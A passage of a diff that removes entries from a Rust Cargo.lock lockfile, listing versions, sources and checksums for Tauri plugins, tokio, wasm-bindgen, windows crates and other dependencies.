- "tauri",
- "tauri-plugin",
- "thiserror",
-]
-
-[[package]]
-name = "tauri-plugin-process"
-version = "2.0.0-rc.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c9eb80b601682dcbd45dc5ed5f7cc214f1d994aeea730d500899cc616784559"
-dependencies = [
- "tauri",
- "tauri-plugin",
-]
-
-[[package]]
-name = "tauri-plugin-shell"
-version = "2.0.0-rc.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e83800ddf78b820172efb5ed7310344e8e4f97fd30cd8237a3f20c12a79eb136"
-dependencies = [
- "encoding_rs",
- "log",
- "open",
- "os_pipe",
- "regex",
- "schemars",
- "serde",
- "serde_json",
- "shared_child",
- "tauri",
- "tauri-plugin",
- "thiserror",
- "tokio",
-]
-
-[[package]]
-name = "tauri-plugin-single-instance"
-version = "2.0.0-rc.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c24e22c4d830f5d8c13d078560aeb497c9f31fc1013e39842a08c486ed4be89c"
-dependencies = [
- "log",
- "serde",
- "serde_json",
- "tauri",
- "thiserror",
- "windows-sys 0.59.0",
- "zbus",
-]
-
-[[package]]
-name = "tauri-plugin-updater"
-version = "2.0.0-rc.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "391ebb8ae8cd6aec44b5d96d3005659d88cde69c57326f639bbc660116a30d63"
-dependencies = [
- "base64 0.22.1",
- "dirs",
- "flate2",
- "futures-util",
- "http",
- "infer",
- "minisign-verify",
- "reqwest",
- "semver",
- "serde",
- "serde_json",
- "tar",
- "tauri",
- "tauri-plugin",
- "tempfile",
- "thiserror",
- "time",
- "tokio",
- "url",
- "windows-sys 0.59.0",
- "zip",
-]
-
-[[package]]
-name = "tauri-plugin-websocket"
-version = "2.0.0-rc.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0559ff75acabdd8a2d1bc1dee480d65d6760fd3b758916ff19db0bc1c1f19d7e"
-dependencies = [
- "futures-util",
- "http",
- "log",
- "rand 0.8.5",
- "serde",
- "serde_json",
- "tauri",
- "tauri-plugin",
- "thiserror",
- "tokio",
- "tokio-tungstenite",
-]
-
-[[package]]
-name = "tauri-plugin-window-state"
-version = "2.0.0-rc.1"
-source = "git+https://github.com/Hacksore/plugins-workspace?branch=v2#01acc8c406b8fdf5f1c53999aa76a7ebba79768c"
-dependencies = [
- "bitflags 2.6.0",
- "log",
- "serde",
- "serde_json",
- "tauri",
- "tauri-plugin",
- "thiserror",
-]
-
-[[package]]
-name = "tauri-runtime"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a0758dce4f9e08ebeee877d84de0062859495507e1d16f647f97b29f881b43d"
-dependencies = [
- "dpi",
- "gtk",
- "http",
- "jni",
- "raw-window-handle",
- "serde",
- "serde_json",
- "tauri-utils",
- "thiserror",
- "url",
- "windows 0.58.0",
-]
-
-[[package]]
-name = "tauri-runtime-wry"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78dd7f77e769630da5d91a55e4f102a84ff9c5a99c71e1b5c916a18b5ccafc16"
-dependencies = [
- "cocoa 0.26.0",
- "gtk",
- "http",
- "jni",
- "log",
- "percent-encoding",
- "raw-window-handle",
- "softbuffer",
- "tao",
- "tauri-runtime",
- "tauri-utils",
- "url",
- "webkit2gtk",
- "webview2-com",
- "windows 0.58.0",
- "wry",
-]
-
-[[package]]
-name = "tauri-utils"
-version = "2.0.0-rc.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba92ad9cdf7658fefa29a7218dda0acead9400c021bbf9c3f88e98f5e3b9bbab"
-dependencies = [
- "brotli",
- "cargo_metadata",
- "ctor",
- "dunce",
- "glob",
- "html5ever",
- "infer",
- "json-patch",
- "kuchikiki",
- "log",
- "memchr",
- "phf 0.11.2",
- "proc-macro2",
- "quote",
- "regex",
- "schemars",
- "semver",
- "serde",
- "serde-untagged",
- "serde_json",
- "serde_with",
- "swift-rs",
- "thiserror",
- "toml 0.8.2",
- "url",
- "urlpattern",
- "walkdir",
-]
-
-[[package]]
-name = "tauri-winres"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb"
-dependencies = [
- "embed-resource",
- "toml 0.7.8",
-]
-
-[[package]]
-name = "tempfile"
-version = "3.12.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04cbcdd0c794ebb0d4cf35e88edd2f7d2c4c3e9a5a6dab322839b321c6a87a64"
-dependencies = [
- "cfg-if",
- "fastrand",
- "once_cell",
- "rustix",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "tendril"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0"
-dependencies = [
- "futf",
- "mac",
- "utf-8",
-]
-
-[[package]]
-name = "thin-slice"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c"
-
-[[package]]
-name = "thiserror"
-version = "1.0.63"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0342370b38b6a11b6cc11d6a805569958d54cfa061a29969c3b5ce2ea405724"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.63"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4558b58466b9ad7ca0f102865eccc95938dca1a74a856f2b57b6629050da261"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
-dependencies = [
- "cfg-if",
- "once_cell",
-]
-
-[[package]]
-name = "time"
-version = "0.3.36"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885"
-dependencies = [
- "deranged",
- "itoa 1.0.11",
- "libc",
- "num-conv",
- "num_threads",
- "powerfmt",
- "serde",
- "time-core",
- "time-macros",
-]
-
-[[package]]
-name = "time-core"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
-
-[[package]]
-name = "time-macros"
-version = "0.2.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf"
-dependencies = [
- "num-conv",
- "time-core",
-]
-
-[[package]]
-name = "tinyvec"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "445e881f4f6d382d5f27c034e25eb92edd7c784ceab92a0937db7f2e9471b938"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
-
-[[package]]
-name = "tokio"
-version = "1.39.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9babc99b9923bfa4804bd74722ff02c0381021eafa4db9949217e3be8e84fff5"
-dependencies = [
- "backtrace",
- "bytes",
- "libc",
- "mio",
- "parking_lot",
- "pin-project-lite",
- "signal-hook-registry",
- "socket2",
- "tokio-macros",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "693d596312e88961bc67d7f1f97af8a70227d9f90c31bba5806eec004978d752"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.26.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c7bc40d0e5a97695bb96e27995cd3a08538541b0a846f65bba7a359f36700d4"
-dependencies = [
- "rustls",
- "rustls-pki-types",
- "tokio",
-]
-
-[[package]]
-name = "tokio-tungstenite"
-version = "0.23.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6989540ced10490aaf14e6bad2e3d33728a2813310a0c71d1574304c49631cd"
-dependencies = [
- "futures-util",
- "log",
- "rustls",
- "rustls-pki-types",
- "tokio",
- "tokio-rustls",
- "tungstenite",
- "webpki-roots",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9cf6b47b3771c49ac75ad09a6162f53ad4b8088b76ac60e8ec1455b31a189fe1"
-dependencies = [
- "bytes",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "toml"
-version = "0.7.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit 0.19.15",
-]
-
-[[package]]
-name = "toml"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit 0.20.2",
-]
-
-[[package]]
-name = "toml_datetime"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.19.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"
-dependencies = [
- "indexmap 2.4.0",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.20.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338"
-dependencies = [
- "indexmap 2.4.0",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow",
-]
-
-[[package]]
-name = "tower"
-version = "0.4.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c"
-dependencies = [
- "futures-core",
- "futures-util",
- "pin-project",
- "pin-project-lite",
- "tokio",
- "tower-layer",
- "tower-service",
-]
-
-[[package]]
-name = "tower-layer"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
-
-[[package]]
-name = "tower-service"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
-
-[[package]]
-name = "tracing"
-version = "0.1.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
-dependencies = [
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
-dependencies = [
- "once_cell",
- "valuable",
-]
-
-[[package]]
-name = "tracing-log"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
-dependencies = [
- "log",
- "once_cell",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-subscriber"
-version = "0.3.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
-dependencies = [
- "matchers",
- "nu-ansi-term",
- "once_cell",
- "regex",
- "sharded-slab",
- "smallvec",
- "thread_local",
- "tracing",
- "tracing-core",
- "tracing-log",
-]
-
-[[package]]
-name = "tray-icon"
-version = "0.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "044d7738b3d50f288ddef035b793228740ad4d927f5466b0af55dc15e7e03cfe"
-dependencies = [
- "core-graphics 0.24.0",
- "crossbeam-channel",
- "dirs",
- "libappindicator",
- "muda",
- "objc2",
- "objc2-app-kit",
- "objc2-foundation",
- "once_cell",
- "png",
- "serde",
- "thiserror",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "try-lock"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
-
-[[package]]
-name = "tungstenite"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e2e2ce1e47ed2994fd43b04c8f618008d4cabdd5ee34027cf14f9d918edd9c8"
-dependencies = [
- "byteorder",
- "bytes",
- "data-encoding",
- "http",
- "httparse",
- "log",
- "rand 0.8.5",
- "rustls",
- "rustls-pki-types",
- "sha1",
- "thiserror",
- "utf-8",
-]
-
-[[package]]
-name = "typeid"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e13db2e0ccd5e14a544e8a246ba2312cd25223f616442d7f2cb0e3db614236e"
-
-[[package]]
-name = "typenum"
-version = "1.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
-
-[[package]]
-name = "uds_windows"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9"
-dependencies = [
- "memoffset",
- "tempfile",
- "winapi",
-]
-
-[[package]]
-name = "unic-char-property"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221"
-dependencies = [
- "unic-char-range",
-]
-
-[[package]]
-name = "unic-char-range"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc"
-
-[[package]]
-name = "unic-common"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc"
-
-[[package]]
-name = "unic-ucd-ident"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987"
-dependencies = [
- "unic-char-property",
- "unic-char-range",
- "unic-ucd-version",
-]
-
-[[package]]
-name = "unic-ucd-version"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4"
-dependencies = [
- "unic-common",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202"
-
-[[package]]
-name = "untrusted"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
-
-[[package]]
-name = "url"
-version = "2.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c"
-dependencies = [
- "form_urlencoded",
- "idna 0.5.0",
- "percent-encoding",
- "serde",
-]
-
-[[package]]
-name = "urlpattern"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70acd30e3aa1450bc2eece896ce2ad0d178e9c079493819301573dae3c37ba6d"
-dependencies = [
- "regex",
- "serde",
- "unic-ucd-ident",
- "url",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
-
-[[package]]
-name = "utf8-width"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "86bd8d4e895da8537e5315b8254664e6b769c4ff3db18321b297a1e7004392e3"
-
-[[package]]
-name = "uuid"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81dfa00651efa65069b0b6b651f4aaa31ba9e3c3ce0137aaad053604ee7e0314"
-dependencies = [
- "getrandom 0.2.15",
-]
-
-[[package]]
-name = "valuable"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
-
-[[package]]
-name = "value-bag"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a84c137d37ab0142f0f2ddfe332651fdbf252e7b7dbb4e67b6c1f1b2e925101"
-
-[[package]]
-name = "version-compare"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b"
-
-[[package]]
-name = "version_check"
-version = "0.9.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
-
-[[package]]
-name = "vswhom"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b"
-dependencies = [
- "libc",
- "vswhom-sys",
-]
-
-[[package]]
-name = "vswhom-sys"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18"
-dependencies = [
- "cc",
- "libc",
-]
-
-[[package]]
-name = "walkdir"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"
-dependencies = [
- "same-file",
- "winapi-util",
-]
-
-[[package]]
-name = "want"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
-dependencies = [
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.9.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5"
-dependencies = [
- "cfg-if",
- "once_cell",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b"
-dependencies = [
- "bumpalo",
- "log",
- "once_cell",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.43"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61e9300f63a621e96ed275155c108eb6f843b6a26d053f122ab69724559dc8ed"
-dependencies = [
- "cfg-if",
- "js-sys",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf"
-dependencies = [
- "quote",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
-
-[[package]]
-name = "wasm-streams"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129"
-dependencies = [
- "futures-util",
- "js-sys",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
-]
-
-[[package]]
-name = "web-sys"
-version = "0.3.70"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26fdeaafd9bd129f65e7c031593c24d62186301e0c72c8978fa1678be7d532c0"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "webkit2gtk"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76b1bc1e54c581da1e9f179d0b38512ba358fb1af2d634a1affe42e37172361a"
-dependencies = [
- "bitflags 1.3.2",
- "cairo-rs",
- "gdk",
- "gdk-sys",
- "gio",
- "gio-sys",
- "glib",
- "glib-sys",
- "gobject-sys",
- "gtk",
- "gtk-sys",
- "javascriptcore-rs",
- "libc",
- "once_cell",
- "soup3",
- "webkit2gtk-sys",
-]
-
-[[package]]
-name = "webkit2gtk-sys"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62daa38afc514d1f8f12b8693d30d5993ff77ced33ce30cd04deebc267a6d57c"
-dependencies = [
- "bitflags 1.3.2",
- "cairo-sys-rs",
- "gdk-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "gtk-sys",
- "javascriptcore-rs-sys",
- "libc",
- "pkg-config",
- "soup3-sys",
- "system-deps",
-]
-
-[[package]]
-name = "webpki-roots"
-version = "0.26.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd7c23921eeb1713a4e851530e9b9756e4fb0e89978582942612524cf09f01cd"
-dependencies = [
- "rustls-pki-types",
-]
-
-[[package]]
-name = "webview2-com"
-version = "0.33.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f61ff3d9d0ee4efcb461b14eb3acfda2702d10dc329f339303fc3e57215ae2c"
-dependencies = [
- "webview2-com-macros",
- "webview2-com-sys",
- "windows 0.58.0",
- "windows-core 0.58.0",
- "windows-implement",
- "windows-interface",
-]
-
-[[package]]
-name = "webview2-com-macros"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d228f15bba3b9d56dde8bddbee66fa24545bd17b48d5128ccf4a8742b18e431"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "webview2-com-sys"
-version = "0.33.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3a3e2eeb58f82361c93f9777014668eb3d07e7d174ee4c819575a9208011886"
-dependencies = [
- "thiserror",
- "windows 0.58.0",
- "windows-core 0.58.0",
-]
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
-dependencies = [
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "window-vibrancy"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8cdd6999298d969289d8078dae02ce798ad23452075985cccba8b6326711ecf"
-dependencies = [
- "cocoa 0.26.0",
- "objc",
- "raw-window-handle",
- "windows-sys 0.59.0",
- "windows-version",
-]
-
-[[package]]
-name = "windows"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6"
-dependencies = [
- "windows-core 0.58.0",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99"
-dependencies = [
- "windows-implement",
- "windows-interface",
- "windows-result",
- "windows-strings",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-implement"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "windows-interface"
-version = "0.58.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "windows-result"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-strings"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10"
-dependencies = [
- "windows-result",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.45.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
-dependencies = [
- "windows-targets 0.42.2",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
